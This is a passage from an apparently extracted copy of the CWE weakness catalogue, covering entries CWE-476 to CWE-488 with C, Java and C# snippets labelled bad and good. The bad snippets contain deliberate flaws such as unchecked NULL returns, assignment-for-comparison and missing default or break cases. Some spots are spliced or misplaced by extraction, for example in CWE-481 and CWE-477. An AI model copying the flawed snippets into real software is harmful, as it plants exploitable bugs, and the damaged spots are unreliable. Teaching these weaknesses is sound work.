<b>Abstraction</b> : Base	

### Description

The code uses a function that has inconsistent implementations across operating systems and versions.

### Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

## Notes

### Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: `__xmknod` The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: `__wcstod_internal` `__wcstof_internal` `__wcstol_internal` `__wcstold_internal` `__wcstoul_internal` The value 3 must be passed as the first parameter (the version number) of the following file system functions: `__xstat` `__lxstat` `__fxstat` `__xstat64` `__lxstat64` `__fxstat64`

## CWE-476: NULL Pointer Dereference

<b>Weakness ID</b> : 476	<b>Status</b> : Stable
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

### Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Resultant** : NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory  <i>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</i>	

### Detection Methods

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

#### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

### Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

### Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

*Effectiveness = Moderate*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).*

### Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

### Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Demonstrative Examples

### Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

*Example Language:*

*(good)*

```
if (pointer1 != NULL) {  
    /* make use of pointer1 */  
    /* ... */  
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

### Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(bad)*

```
void host_lookup(char *user_supplied_addr){  
    struct hostent *hp;  
    in_addr_t *addr;  
    char hostname[64];
```

```

in_addr_t inet_addr(const char *cp);
/*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}
  
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this code is also vulnerable to a buffer overflow (CWE-119).

### Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a `NULL` pointer exception when it attempts to call the `trim()` method.

Example Language: Java

(bad)

```

String cmd = System.getProperty("cmd");
cmd = cmd.trim();
  
```

### Example 4:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
  
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return `null`, thus causing a `null` pointer exception when `length()` is called.

## CWE-477: Use of Obsolete Function

**Weakness ID** : 477

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

### Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

### Relationships

### Potential Mitigations

#### Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

#### Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

## Demonstrative Examples

### Example 1:

The following code uses the deprecated function `getpw()` to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets `result` to 1; otherwise it is set to 0.

Example Language: C

(bad)

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ".");
    pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the `getpw()` function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, `getpw()` has been supplanted by `getpwuid()`, which performs the same lookup as `getpw()` but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

### Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Example Language: Java

(bad)

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

### Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Example Language: Java

(bad)

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by `nameBytes`. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

## CWE-478: Missing Default Case in Switch Statement

**Weakness ID** : 478

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

### Extended Description

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic  <i>Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

#### Phase: Implementation

In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

### Demonstrative Examples

#### Example 1:

The following does not properly check the return code in the case where the security\_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

*Example Language: C*

*(bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
```

```

}
// program execution continues...
...

```

Instead a default label should be used for unaccounted conditions:

Example Language: C

(good)

```

#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
  default:
    printf("Unknown error (%d), exiting...\n",result);
    exit(-1);
}

```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

### Example 2:

In the following Java example the method `getInterestRate` retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java

(bad)

```

public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
  BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
  switch (points) {
    case 0:
      result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
      break;
    case 1:
      result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
      break;
    case 2:
      result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
      break;
  }
  return result;
}

```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Example Language: Java

(good)

```

public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
    return result;
}

```

## CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID : 479

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The program defines a signal handler that calls a non-reentrant function.

### Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call `syslog()` is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If `syslog()` is suspended by a signal call and the signal handler calls `syslog()`, the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of `malloc()` and `free()` manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality Availability	<i>It may be possible to execute arbitrary code through the use of a write-what-where condition.</i>	
Integrity	Modify Memory Modify Application Data	
	<i>Signal race conditions often result in data corruption.</i>	

## Potential Mitigations

### Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

### Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

**Phase: Implementation**

Ensure that non-reentrant functions are not found in signal handlers.

**Phase: Implementation**

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

*Effectiveness = Defense in Depth*

**Demonstrative Examples****Example 1:**

In this example, a signal handler uses syslog() to log a message:

*Example Language:*

*(bad)*

```
char *message;
void sh(int dummy) {
    syslog(LOG_NOTICE,"%s\n",message);
    sleep(10);
    exit(0);
}
int main(int argc,char* argv[]) {
    ...
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    sleep(10);
    exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

## CWE-480: Use of Incorrect Operator

<b>Weakness ID</b> : 480	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

### Extended Description

These types of errors are generally the result of a typo.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

	<i>This weakness can cause unintended logic to be executed and other unexpected application behavior.</i>	

## Detection Methods

### Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

### Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

## Demonstrative Examples

### Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

*Example Language: C*

*(bad)*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

*Example Language: C#*

*(bad)*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

### Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C

(bad)

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

## CWE-481: Assigning instead of Comparing

**Weakness ID :** 481

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The code uses an operator for assignment when the intention was to perform a comparison.

### Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction.         Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

**Example 2:**

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

*Example Language: C*

*(bad)*

```
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ':') {
            movingToNewInput();
        }
    }
}
```

### Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Example Language: Java

(bad)

```
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Example Language: Java

(good)

```
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Example Language: Java

(good)

```
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
    System.out.println("Performing processing");
    doSomethingImportant();
}
```

### Example 4:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

}

## CWE-482: Comparing instead of Assigning

<b>Weakness ID</b> : 482	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The code uses an operator for comparison when the intention was to perform an assignment.

### Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	480	Use of Incorrect Operator	1041

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State <i>The assignment will not take place, which should cause obvious program execution problems.</i>	

## Potential Mitigations

### Phase: Testing

Many IDEs and static analysis products will detect this problem.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(bad)*

```
void called(int foo) {
    foo==1;
    if (foo==1) System.out.println("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

### Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

*Example Language: C*

*(bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

## CWE-483: Incorrect Block Delimitation

<b>Weakness ID</b> : 483	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

### Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

The consequences will depend on the types of behaviors that are being incorrectly executed.</i>	

## Potential Mitigations

### Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

## Demonstrative Examples

### Example 1:

In this example, the programmer has indented the statements to call Do\_X() and Do\_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

*Example Language: C*

*(bad)*

```
if (condition==true)
    Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

### Example 2:

In this example, the programmer has indented the Do\_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do\_X() was called on the same line as the conditional and there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

*Example Language: C*

*(bad)*

```
if (condition==true) Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

## CWE-484: Omitted Break Statement in Switch

<b>Weakness ID</b> : 484	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

### Extended Description

This can lead to critical code executing in situations where it should not.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Medium

**Common Consequences**

Scope	Impact	Likelihood
Other	Alter Execution Logic	
	<i>This weakness can cause unintended logic to be executed and other unexpected application behavior.</i>	

**Detection Methods****White Box**

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

**Black Box**

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

**Potential Mitigations****Phase: Implementation**

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

**Phase: Implementation**

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

**Demonstrative Examples****Example 1:**

In both of these examples, a message is printed based on the month passed into the function:

*Example Language: Java**(bad)*

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
        case 7: print("July");
```

```

        case 8: print("August");
        case 9: print("September");
        case 10: print("October");
        case 11: print("November");
        case 12: print("December");
    }
    println(" is a great month");
}
    
```

Example Language: C

(bad)

```

void printMessage(int month){
    switch (month) {
        case 1: printf("January");
        case 2: printf("February");
        case 3: printf("March");
        case 4: printf("April");
        case 5: printf("May");
        case 6: printf("June");
        case 7: printf("July");
        case 8: printf("August");
        case 9: printf("September");
        case 10: printf("October");
        case 11: printf("November");
        case 12: printf("December");
    }
    printf(" is a great month");
}
    
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

## CWE-486: Comparison of Classes by Name

Weakness ID : 486

Status: Draft

Structure : Simple

**Abstraction** : Variant

## Description

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

## Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	1025	Comparison Using Wrong Factors	1672
PeerOf	ⓑ	386	Symbolic Name not Mapping to Correct Object	856

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	<i>If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.</i>	
Availability		

## Potential Mitigations

### Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

## Demonstrative Examples

### Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

*Example Language: Java*

*(bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
    // Do something assuming you trust inputClass
    // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be used to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method

and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

*Example Language: Java* *(good)*

```
if (inputClass.getClass() == TrustedClass.class) {
    // Do something assuming you trust inputClass
    // ...
}
```

### Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

*Example Language: Java* *(bad)*

```
public class TrustedClass {
    ...
    @Override
    public boolean equals(Object obj) {
        boolean isEqual = false;
        // first check to see if the object is of the same class
        if (obj.getClass().getName().equals(this.getClass().getName())) {
            // then compare object fields
            ...
            if (...) {
                isEqual = true;
            }
        }
        return isEqual;
    }
    ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

*Example Language: Java* *(good)*

```
public boolean equals(Object obj) {
    ...
    // first check to see if the object is of the same class
    if (obj.getClass() == this.getClass()) {
        ...
    }
    ...
}
```

## CWE-487: Reliance on Package-level Scope

**Weakness ID** : 487

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

### Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-488: Exposure of Data Element to Wrong Session

**Weakness ID** : 488**Status**: Draft**Structure** : Simple**Abstraction** : Base

### Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

### Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

### Relationships

